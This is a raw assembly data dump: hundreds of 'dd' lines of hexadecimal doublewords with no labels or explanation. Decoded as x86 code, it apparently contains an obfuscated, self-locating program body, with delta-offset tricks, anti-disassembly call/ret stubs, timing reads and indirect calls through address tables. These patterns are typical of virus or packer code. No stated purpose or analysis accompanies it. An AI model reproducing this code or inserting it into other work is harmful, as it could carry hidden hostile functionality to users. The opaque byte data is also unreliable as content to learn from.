		dd 0D8BF0F00h, 0E55B858Dh, 6A07FFh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 170424h, 57470000h, 7367CFC3h
		dd 13810F0Fh, 0E9000000h, 0Eh, 0A8C983FFh, 730F2D04h, 7BD81417h
		dd 0C083600Dh, 51006A05h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1B04h, 0C3514100h, 20444428h, 0C6092352h
		dd 6E9h, 60E99C00h, 0E81E5DE8h,	8, 2BCB7564h, 0B345A1B7h
		dd 76711BBh, 9D895B46h,	7FA2F0Dh, 24048950h, 5F49BF66h
		dd 8A0F006Ah, 6, 1985BD8Bh, 5BB07FAh, 6A5CFFFBh, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1604h, 0C3504000h
		dd 0E8877672h, 5, 0F92BE5A3h, 298D8973h, 5F07FA26h, 174D95FFh
		dd 6A07FAh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h
		dd 51410000h, 8B69D6C3h, 0FA18499Dh, 3DB52907h,	8D07FA24h
		dd 0FE7ADB8Dh, 39BD8907h, 0FF07FA19h, 53C781D1h, 83146D49h
		dd 0FA27ADBDh, 850F0107h, 9Bh, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Dh, 6CC35040h, 0FCC0C0D4h, 66CC3D65h
		dd 68BB6657h, 6A026AF0h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 17042444h, 47000000h, 4E99C357h, 860F4F33h
		dd 2, 0E95017B3h, 0Fh, 83C60736h, 166A77C6h, 32D10914h
		dd 899015F6h, 6A2404h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 170424h, 52420000h, 0EA56D3C3h, 39BD295Eh, 0FF07FA08h
		dd 0FA1EF995h, 11BD0307h, 0E907FA02h, 0E7Bh, 0E8h, 0ED815D00h
		dd 7FFE565h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 1Bh,	9EC35343h, 476ADED6h, 0E8B0D893h, 5, 0EA66694Ch
		dd 0DE8B664Eh, 55006A5Fh, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1A04h, 0C3554500h, 7BFBE029h, 0E8DD6106h
		dd 0Ah,	7B8D15A5h, 84D7DDE0h, 0BD8948ACh, 7FA2811h, 419D8B5Fh
		dd 8D07FA33h, 0FE4FA285h, 19BF6607h, 2FB79091h,	810F9050h
		dd 6, 1E19BD89h, 0FF6407FAh, 35h, 53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1D04h,	0C3534300h, 1818739h, 9992A929h
		dd 10E95C8Fh, 0DB000000h, 3E19F5ABh, 0E5D2CC49h, 4910B764h
		dd 0E8E55C9Eh, 9, 5C8B6F52h, 5ECB640h, 0B9BD8B08h, 5B07FA25h
		dd 258964h, 6A000000h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1D042444h, 41000000h, 6A9EC351h, 2303F887h
		dd 5F76DAC8h, 0A9850960h, 2307FA01h, 0FA1781B5h, 9D896107h
		dd 7FA2B35h, 312585FFh,	6A07FAh, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 150424h, 56460000h, 8BB49AC3h, 0FA1CB99Dh
		dd 0C5BD8B07h, 6A07FA25h, 4CBB66FFh, 0F9B5FF64h, 6A07FA11h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1B042444h
		dd 41000000h, 2C93C351h, 1ABDC99Eh, 0BF0FFA83h,	8D95FFDFh
		dd 0E907FA01h, 11Eh, 8BFBBF0Fh,	0FA0635BDh, 0F00B007h
		dd 70E6F9BFh, 0B771E4F9h, 0F613CACh, 10183h, 7DBBF900h
		dd 0F78937Dh, 6BAC8B6h,	66000000h, 66E121BBh, 0C18BF88Bh
		dd 27B18D89h, 0E8C107FAh, 9D9D8B04h, 8907FA26h,	0FA065D85h
		dd 0E2F76607h, 25A1BD8Bh, 0AE907FAh, 6F000000h,	8D4D4734h
		dd 3C677223h, 80C82B88h, 0D18B64C7h, 11E8h, 92470300h
		dd 7AB77EB7h, 81C01BF0h, 17F02684h, 0BB660DCBh,	0E95BEA86h
		dd 96h,	0D8529h, 858B07FAh, 44004E49h, 62EB0BBBh, 7C08304h
		dd 11F59D23h, 665607FAh, 5F7CB4BBh, 0E900C083h,	0Eh, 428C2A12h
		dd 9C8071DDh, 4BD0CFCEh, 0D03B41B7h, 21830Fh, 0EE90000h
		dd 24000000h, 4C4B8793h, 9856C18Ah, 0AF595D85h,	40E9E0h
		dd 890F0000h, 3, 8BB4D380h, 0FFFFFF8Dh,	81B589FFh, 8307FA15h
		dd 840F01E1h, 22h, 20B5BD09h, 0A58307FAh, 0FFFFFFFFh, 0D7BF66FEh
		dd 499589A3h, 2344004Eh, 0FA1AC9BDh, 0E907h, 0B58D0000h
		dd 7FF63D4h, 6A006Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1C0424h, 51410000h, 0FBCF7FC3h, 0E6E65F68h, 0B531F8CFh
		dd 7FA1195h, 12D95FFh, 6A07FAh,	3E855h,	5D200000h, 6C895DC3h
		dd 44810424h, 190424h, 55450000h, 866BC5C3h, 296F1607h
		dd 0FA1A398Dh, 0F64B907h, 0DF810000h, 0BB8AF57h, 6AFCE183h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 19042444h
		dd 43000000h, 1C9AC353h, 46CC1D79h, 56006AFCh, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1A04h,	0C3564600h, 7B3E3B3Bh
		dd 5197867Bh, 52C02B5Bh, 5FDEB70Fh, 6AD22Bh, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 160424h, 52420000h, 0A99914C3h
		dd 0F8BF0FF5h, 0D1C233ADh, 83D003E8h, 0F47504E9h, 6ADABF0Fh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 16042444h
		dd 43000000h, 4D8BC353h, 0DB816689h, 880D7E4Bh,	6A000000h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 15042444h
		dd 40000000h, 0F04BC350h, 9E9h,	42B54200h, 0F3E4BF2Ch
		dd 9D8B1EA8h, 7FA2655h,	11A1BD89h, 958B07FAh, 7FA27C1h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 66C35141h
		dd 0E9375A58h, 0F01AB8B9h, 8B0FF57Bh, 6, 2D5B501h, 8D8B07FAh
		dd 7FA1C01h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 19h,	0CC35747h, 42D954F5h, 505B5268h, 188BC28Bh, 188BC103h
		dd 0E8D1C18Bh, 188BC203h, 6850F58h, 9000000h, 0FA34299Dh
		dd 6CBB6607h, 41BD8398h, 7FA07h, 64840Fh, 0BD010000h, 7FA12EDh
		dd 0B8h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1504h, 0C3514100h, 8D8DF44Ch, 7FA4F53h, 0FFDABF0Fh
		dd 53006AE1h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1D04h
		dd 0C3534300h, 79658070h, 3C76F934h, 7E97B89h, 0A9000000h
		dd 0C631E305h, 0BD83BB85h, 7FA1AEDh, 27840F00h,	8B000004h
		dd 0FA15F99Dh, 0EDBD8307h, 107FA1Ah, 42F840Fh, 0BD8B0000h
		dd 7FA03BDh, 1AEDBD83h,	0F0307FAh, 3E686h, 52006A00h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1804h, 0C3524200h
		dd 0AB477243h, 0F9852921h, 6007FA26h, 66FFB70Fh, 0B92CC781h
		dd 60D98C66h, 12E8h, 0F78A3200h, 8208554Fh, 0E4616FE8h
		dd 60F4C86Dh, 890EE70Dh, 0FA1A558Dh, 8B0F5807h,	6, 2AE1BD89h
		dd 806107FAh, 0BB6604E1h, 0C90A6694h, 0EC840Fh,	6A0000h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h
		dd 0BD7F6AC3h, 0CF81E7A0h, 47AEE5D7h, 17D5858Bh, 0B70F07FAh
		dd 418533DAh, 0F07FA1Ah, 0C84h,	6890F00h, 89000000h, 0FA10B195h
		dd 8B669007h, 8E950FBh,	60000000h, 0F0DF04A2h, 901EB576h
		dd 68F0Fh, 8D890000h, 7FA13B5h,	6A006Ah, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 180424h, 55450000h, 6E7F85C3h
		dd 6668CA45h, 0F6CE009h, 288h, 81D88B00h, 0A992434h, 6A6CFFh
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h
		dd 0A205AEC3h, 178595FFh, 0D5BF07FAh, 892CBF35h, 0FE7BF885h
		dd 7DB53107h, 0F07FA21h, 37E9FABFh, 0E9000002h,	0Eh, 0C7E22422h
		dd 0D80CB209h, 7BD13083h, 858BDC14h, 7FE7BF0h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 16h, 8AC35242h, 8531AAFFh
		dd 7FA08CDh, 1800C7h, 8B660000h, 0D8D89D9h, 8B07FA2Eh
		dd 0FE7BF4B5h, 51006A07h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1C04h, 0C3514100h, 8979F088h, 0AA5D1C9Eh
		dd 6DF7BF3Ch, 858B5E25h, 7FA06E1h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 17h, 0C5C35747h,	56AFC009h, 17D9BD8Bh
		dd 0E95B07FAh, 0Bh, 0FDB91486h,	92A510A3h, 891641DDh, 57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1C04h, 0C3574700h
		dd 0DF27AA16h, 58DC79FDh, 90E78100h, 8B403754h,	0FA17D585h
		dd 55006A07h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1404h
		dd 0C3554500h, 0F88AF808h, 7B9BD2Bh, 468907FAh,	55006A04h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1904h, 0C3554500h
		dd 0E2DF26h, 0BF0F1D94h, 0D9589FAh, 9607FA0Dh, 6A9650h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h, 52420000h
		dd 19DF63C3h, 5E920h, 0EFC90000h, 667FB769h, 0FF61B1BFh
		dd 0FE7BF0B5h, 5C606807h, 0BF66A729h, 481C070h,	0F5A79F24h
		dd 53006A58h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1A04h
		dd 0C3534300h, 0C439DC68h, 666A52B1h, 8DBC4EBFh, 0FE7BF885h
		dd 50006A07h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1704h
		dd 0C3504000h, 42A8C7DBh, 9E8h,	0D4B6F800h, 97AD692h, 0BD8B65CFh
		dd 7FA1E29h, 21BD8B5Fh,	5007FA1Fh, 11E952h, 13C70000h
		dd 36F01F0Ah, 2548ED0Dh, 5FF0FE28h, 5FBFAF7Eh, 6A240489h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 14042444h
		dd 46000000h, 6604C356h, 0FFED45BBh, 0FA178595h, 8E907h
		dd 9B480000h, 0B169D12Eh, 6A613EDDh, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 15042444h, 40000000h, 468FC350h
		dd 1FA8B66h, 0FA1E0D8Dh, 0ED85C707h, 307FA1Ah, 89000000h
		dd 0FA05D595h, 0F8BD8307h, 7FE7Bh, 25840Fh, 850F0000h
		dd 0Fh,	0AE9h, 0B52FAB00h, 0E123EA0Dh, 0E9673BA2h, 26h
		dd 31919589h, 0F5107FAh, 505FFEBFh, 110C30h, 0C1011144h
		dd 443010E8h, 4C000211h, 83580311h, 0E77504E9h,	305036EBh
		dd 64001104h, 0E8C10111h, 11443010h, 11640002h,	0E9835803h
		dd 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h, 64285802h
		dd 4300111h, 4E98311h, 0EBE775h, 14E9C08Bh, 39000000h
		dd 9E7A0DC5h, 4C3C8B8Fh, 1A456A5h, 17A91476h, 2B860FFAh
		dd 0FA2185BDh, 0EDBD8307h, 307FA1Ah, 4BC850Fh, 6A0000h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h
		dd 0CCB3CFC3h, 83A63F3Ch, 0FE7BF8BDh, 840F0007h, 48Eh
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 99C35747h
		dd 0DD4F8F82h, 0E94410FCh, 11h,	0BFE32B37h, 0A12949D5h
		dd 0FF670B07h, 4D9BFDA1h, 0D9BF0F99h, 7BF8B5FFh, 0BF5607FEh
		dd 5E199771h, 4D95FF5Fh, 0F07FA01h, 0B58BFAB7h,	7FE7BECh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 41C35646h
		dd 85CB2FA1h, 8D8961EEh, 7FA28B1h, 106C7h, 59BF0001h, 966AD455h
		dd 28B0F60h, 50000000h,	2B15BA5Ah, 50611926h, 9E9h, 0EFCE7C00h
		dd 10EA88A4h, 8B9687C2h, 0FA20A1BDh, 0F8B5FF07h, 8907FE7Bh
		dd 0FA02FD85h, 1D95FF07h, 6A07FA16h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 19042444h, 43000000h, 3014C353h
		dd 335D27D8h, 192DB589h, 36007FAh, 0FA1A3185h, 0B58B6107h
		dd 7FE7BECh, 8159D781h,	858B5B62h, 7FA0B09h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 14h, 0C4C35040h, 6860Fh
		dd 0BD8B0000h, 7FA0301h, 0C48689h, 0B5890000h, 7FA2195h
		dd 27C1958Bh, 0B58907FAh, 7FA1D39h, 6A04C283h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h
		dd 0E74EC356h, 0A31DC679h, 18519D33h, 508907FAh, 50006A20h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1704h, 0C3504000h
		dd 8C8EC367h, 8DDABF0Fh, 0FE90A385h, 53006A07h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1404h,	0C3534300h, 5820FCDh, 66000000h
		dd 6DABE781h, 16AAE381h, 86891CB1h, 0B8h, 0BD89006Ah, 7FA03F1h
		dd 7BF8B5FFh, 6A07FEh, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1C0424h, 55450000h, 8BB472C3h, 55CB5FE3h, 9D8BC1BCh
		dd 7FA0421h, 24F1B531h,	95FF07FAh, 7FA1EF9h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 5FC35545h, 9D2B39F4h
		dd 7FA1839h, 8B525050h,	8B310FDFh, 89585AD9h, 6A2434h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h
		dd 0B2103AC3h, 0EC35166Dh, 8501FE92h, 7FA1D25h,	1585BD03h
		dd 0B5FF07FAh, 7FE7BF8h, 0E850006Ah, 3,	58C35820h, 4244489h
		dd 4244481h, 1Bh, 61C35040h, 11048C94h,	0FF3547ACh, 0FA076595h
		dd 55006A07h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1504h
		dd 0C3554500h, 810FDE9Ah, 7, 0D0816660h, 8361CC9Ch, 0FA1EC5BDh
		dd 840F0007h, 66h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 16h, 9DC35747h, 0E3811C60h, 335922F9h, 89D88B50h
		dd 6A2434h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h
		dd 55450000h, 213D38C3h, 0C5831B81h, 0C820Fh, 8A0F0000h
		dd 6, 995BD8Bh,	895607FAh, 0FA21158Dh, 0B5FF5F07h, 7FE7BF8h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 4BC35646h
		dd 689D9265h, 0BD8B90A1h, 7FA26F9h, 1BDD8D29h, 95FF07FAh
		dd 7FA18F5h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 14h,	14C35343h, 1DE19D23h, 0EE907FAh, 2D000000h, 2DE59592h
		dd 330A4F26h, 5D7B884Bh, 0F8B5FF3Fh, 8B07FE7Bh,	0FA31B19Dh
		dd 0CD953107h, 0FF07FA1Bh, 0FA1EB195h, 56006A07h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1A04h, 0C3564600h
		dd 227A79B3h, 31C40D17h, 0FA12D1BDh, 0F5BD8307h, 207FA26h
		dd 5F840Fh, 858B0000h, 7FA1419h, 0E856006Ah, 3,	5EC35E20h
		dd 4247489h, 4244481h, 14h, 56C35646h, 0D9D23h,	0C607FAh
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1804h
		dd 0C3524200h, 0ACA97B74h, 9D95893Fh, 0F07FA1Eh, 882h
		dd 0BD895100h, 7FA05E9h, 0B185C75Fh, 7FA05h, 6A000000h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1D042444h
		dd 47000000h, 0CFEEC357h, 0FA5806F0h, 0F42B6AEAh, 2699D03h
		dd 0CE907FAh, 6AFFFFF3h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 19042444h, 41000000h, 87A2C351h, 2CB269E0h
		dd 2DEDBD31h, 0C18B07FAh, 8DF8BF0Fh, 0FA150D85h, 56006A07h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1C04h, 0C3564600h
		dd 0C219E108h, 57295776h, 0AD8D0962h, 8107FA2Dh, 99BECFD3h
		dd 5250507Fh, 310F07B3h, 489585Ah, 6830F24h, 89000000h
		dd 0FA15959Dh, 60006A07h, 6820Fh, 0B5290000h, 7FA21B1h
		dd 14E8h, 737E5B00h, 0B5D6F54h,	912AC925h, 0EA6BC9C4h
		dd 0FB840491h, 43B4B9CFh, 6159025Dh, 0B70F006Ah, 93858DDAh
		dd 6A07FFF5h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1C042444h, 40000000h, 0AABFC350h, 0C1B3B206h, 60C6BD5Dh
		dd 18F0Fh, 31F90000h, 0FA0479BDh, 0C0836107h, 0DEBF0F05h
		dd 0A50FBF50h, 48977DEh, 830F24h, 89000000h, 0FA05FD8Dh
		dd 0F5006A07h, 6A006Ah,	3E852h,	5A200000h, 54895AC3h, 44810424h
		dd 1C0424h, 52420000h, 0CE28D5C3h, 0FF4C8E83h, 85293AFCh
		dd 7FA14A1h, 174D95FFh,	0DE907FAh, 90000000h, 0EB2AEBD3h
		dd 0E148C963h, 3AC915D9h, 2DC18589h, 8D8D07FAh,	7FE7ADBh
		dd 26F9B529h, 0BD3307FAh, 7FA1909h, 0BD83D1FFh,	7FA27ADh
		dd 74850F01h, 6A000000h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 18042444h, 40000000h, 259C350h, 897B2401h
		dd 0FA29398Dh, 6A026A07h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 14042444h, 42000000h, 666CC352h, 0E44CF781h
		dd 0BF666090h, 52503A8Ah, 310F5250h, 310F585Ah,	585A5E57h
		dd 0BB665061h, 0BB90ADD1h, 395EDAE8h, 1EF995FFh, 816607FAh
		dd 0E90BDBE7h, 0C43h, 0E8h, 0ED815D00h,	7FFF59Dh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 15h, 0C9C35242h, 0B1BA6016h
		dd 0E95DF2D9h, 14h, 27A594Eh, 0DDD3C224h, 122A0018h, 0E55827EDh
		dd 84A84972h, 0A2858D61h, 6A07FE4Fh, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1B042444h, 41000000h, 0FDCAC351h
		dd 4E731876h, 0A5B7E8E5h, 11E9h, 847CEA00h, 0B90F53B3h
		dd 0CDC3FC76h, 0BF208762h, 50508748h, 0F5B5352h, 3810F31h
		dd 66000000h, 585AFA8Bh, 6A240489h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 19042444h, 43000000h, 77CFC353h
		dd 0D40022ADh, 0D41CBB66h, 35FF64h, 6A000000h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h
		dd 0AF5CC351h, 6415E54Dh, 2589h, 0BD8B0000h, 7FA1D61h
		dd 312585FFh, 8D8907FAh, 7FA0C79h, 47BBFF6Ah, 0FF3277BDh
		dd 0FA2429B5h, 11E807h,	3ADB0000h, 0B95100C5h, 0F4022A90h
		dd 58B9C9B2h, 893ED737h, 0FA261D95h, 95FF5B07h,	7FA018Dh
		dd 0F8E9h, 95895100h, 7FA057Dh,	5300B05Fh, 1C419D8Bh, 0E65B07FAh
		dd 86D4BF70h, 71E468AFh, 0F613CFCh, 0D483h, 890F00h, 0F000000h
		dd 9D01C8B6h, 7FA2AFDh,	6BAh, 29605600h, 0FA0275BDh, 0A59D8907h
		dd 6107FA18h, 29C18B5Fh, 0FA328595h, 4E8C107h, 2AF19529h
		dd 0F76607FAh, 1FF781E2h, 2B4D3A1Dh, 0E9D18BC8h, 0Eh, 94919A12h
		dd 96978E7Ch, 63CB4D0Dh, 7AE9BDE9h, 8B000000h, 0FA2AE1BDh
		dd 4C858B07h, 80505F4Ch, 0C083A5CBh, 6880F07h, 9000000h
		dd 0FA03F19Dh, 0DAB70F07h, 8B00C083h, 0FA32A19Dh, 0FD03B07h
		dd 1883h, 81666000h, 8B1C4ED7h,	0FA16C99Dh, 9D896107h
		dd 7FA07C1h, 30E9h, 0FF8D8B00h,	8BFFFFFFh, 0FA19199Dh
		dd 1E18307h, 1B840Fh, 0BD8B0000h, 7FA0569h, 0FFFFA583h
		dd 89FEFFFFh, 5F4C4C95h, 0D9BF0F50h, 0E9h, 38B58D00h, 6A07FF73h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1D042444h
		dd 42000000h, 17A0C352h, 5C1CBBBh, 658328Bh, 729BD89h
		dd 6A07FAh, 0E857006Ah,	3, 5FC35F20h, 4247C89h,	4244481h
		dd 16h,	4FC35747h, 860F7720h, 6, 2ADCDB81h, 95FF0549h
		dd 7FA012Dh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 17h,	22C35040h, 6622FECAh, 0F2F8BBFh, 687h, 119D8B00h
		dd 0B907FA05h, 0FDAh, 0E853006Ah, 3, 5BC35B20h,	4245C89h
		dd 4244481h, 19h, 0BCC35343h, 0E8803D51h, 6820F7Dh, 8B000000h
		dd 0FA1EBD9Dh, 0FCE18307h, 3479BD8Bh, 6AFC07FAh, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 17042444h, 47000000h
		dd 8CD8C357h, 8509E288h, 7FA0421h, 0B8h, 50006A00h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1404h, 0C3504000h
		dd 0FBBF0F03h, 0BAh, 19BD8B00h,	0F507FA15h, 0D1C233ADh
		dd 83D003E8h, 0F47504E9h, 1F5D8589h, 6A07FAh, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 170424h, 55450000h, 0B56F9CC3h
		dd 880D4Dh, 6A0000h, 3E853h, 5B200000h,	5C895BC3h, 44810424h
		dd 190424h, 53430000h, 0A67907C3h, 60C5DAC1h, 6840Fh, 9D8B0000h
		dd 7FA27A5h, 3F4BE281h,	8B616278h, 0FA27C195h, 64D38007h
		dd 1C018D8Bh, 0D78107FAh, 0F986D23h, 8BC28B50h,	8BC10318h
		dd 0D1C18B18h, 8BC203E8h, 8B0F5818h, 6,	0BD9B509h, 6A07FAh
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 150424h, 50400000h
		dd 89E52BC3h, 0FA02699Dh, 41BD8307h, 7FA07h, 39840Fh, 0BD8B0000h
		dd 7FA1E05h, 0B8h, 21BF6600h, 538D8DBDh, 6A07FA4Fh, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h
		dd 0D29C353h, 0E1FFDB96h, 833FD380h, 0FA1AEDBDh, 840F0007h
		dd 3C4h, 0E853006Ah, 3,	5BC35B20h, 4245C89h, 4244481h
		dd 15h,	8BC35343h, 0EDBD832Ch, 107FA1Ah, 3B5840Fh, 6A0000h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h
		dd 0AE97CC3h, 7000000h,	0C35367EFh, 0DEDAA05Ah,	0EDBD8386h
		dd 307FA1Ah, 347860Fh, 0C7810000h, 10E172Ah, 56006A60h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1904h, 0C3564600h
		dd 0FB5941D6h, 8C662982h, 55006AD9h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1704h,	0C3554500h, 8DFFA392h
		dd 2904E180h, 0FA0CF18Dh, 0FC90A07h, 10684h, 810F00h, 8B000000h
		dd 0FA17D585h, 0EABF6607h, 4185339Ah, 5307FA1Ah, 0C619D09h
		dd 905F07FAh, 50F98B66h, 0A802BF66h, 53006A90h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1604h,	0C3534300h, 0BBDDA5DDh
		dd 6F4DB753h, 12559D89h, 6A07FAh, 9371DF81h, 776856D3h
		dd 6662A61Dh, 3481F98Bh, 0B91E8824h, 56006A62h,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1A04h,	0C3564600h, 6AA08A25h
		dd 51E04C29h, 1858960h,	6607FA34h, 6517CA81h, 95FF5F61h
		dd 7FA1785h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 15h,	0FC35040h, 51B58949h, 8907FA33h, 0FE7BF885h, 56006A07h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1D04h, 0C3564600h
		dd 6A274FF9h, 9A207CA6h, 9D8BC347h, 7FA09E1h, 185E9h, 9E900h
		dd 0EA880000h, 0C087C210h, 8BCDF93Dh, 0FE7BF085h, 55006A07h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1804h, 0C3554500h
		dd 0DF86F39Ah, 70CF8102h, 0C7437BEFh, 1800h, 8B606000h
		dd 0FA1A2D9Dh, 0C88B6607h, 8B61F561h, 0FE7BF4B5h, 53006A07h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1504h, 0C3534300h
		dd 858B75BFh, 7FA06E1h,	1EAD8589h, 68907FAh, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Ch, 27C35040h, 6EEEC8E7h
		dd 0CCB5EC86h, 7C39CF81h, 0BE87D51h, 0F5000000h, 8C937BD6h
		dd 24CE0375h, 30BFB90Eh, 5F298AE4h, 17D5858Bh, 6A07FAh
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h
		dd 75743CC3h, 0EFF6FC5Bh, 89AAC45Ch, 0FA0CBDB5h, 4468907h
		dd 1A7420BBh, 0E6BF504Ch, 8950B018h, 95312434h,	7FA1389h
		dd 7BF0B5FFh, 3BBB07FEh, 8B14D6A3h, 0FA0D0D9Dh,	7B8C6807h
		dd 0EE9B3D4h, 0C1000000h, 679E226Bh, 3A0CD4D8h,	0F2ABE2E0h
		dd 2404818Eh, 4C4A8873h, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 16h, 9EC35646h, 858D1F33h,	7FE7BF8h, 0D98A5090h
		dd 9E85290h, 36000000h,	608250F9h, 424A74CBh, 95FF5F5Bh
		dd 7FA1785h, 0A5858B60h, 8B07FA13h, 0FA35459Dh,	6A616107h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1C042444h
		dd 43000000h, 0CFE1C353h, 980036CDh, 816AA8FFh,	50C730CFh
		dd 0ED85C71Ah, 307FA1Ah, 83000000h, 0FE7BF8BDh,	840F0007h
		dd 2Dh,	0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 14h
		dd 97C35545h, 28E59D89h, 21E907FAh, 8B000000h, 0FA02E59Dh
		dd 0C305007h, 11440011h, 10E8C101h, 2114430h, 3114C00h
		dd 4E98358h, 36EBE775h,	11043050h, 1116400h, 3010E8C1h
		dd 21144h, 58031164h, 7504E983h, 501BEBE7h, 2810E8C1h
		dd 30031164h, 58021144h, 1116428h, 83110430h, 0E77504E9h
		dd 0C08B00EBh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 16h,	87C35545h, 9D0174D8h, 7FA1405h,	12DB8166h, 0C0BF661Bh
		dd 0EDBD8334h, 307FA1Ah, 395850Fh, 6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 190424h, 56460000h, 49DA3DC3h
		dd 0FC4D1D40h, 34999D29h, 0BD8307FAh, 7FE7BF8h,	60840F00h
		dd 81000003h, 1335A4EBh, 0F8B5FF50h, 6607FE7Bh,	0FF71A7BBh
		dd 0FA014D95h, 51006A07h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1404h, 0C3514100h, 0B98D8986h, 8B07FA07h
		dd 0FE7BECB5h, 55006A07h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1A04h, 0C3554500h, 5536C81Fh, 0F71C479h
		dd 6C7DEBFh, 10001h, 5090CB80h,	0A9BF5250h, 0F7F0159h
		dd 5ADF8B31h, 24348958h, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 1Bh, 3FC35141h, 81BC95F3h,	8B239568h, 0FA20299Dh
		dd 0F8B5FF07h, 2907FE7Bh, 0FA27798Dh, 1D95FF07h, 6A07FA16h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 19042444h
		dd 40000000h, 0B08FC350h, 0B3CD8BFh, 8ED8589h, 0B58B07FAh
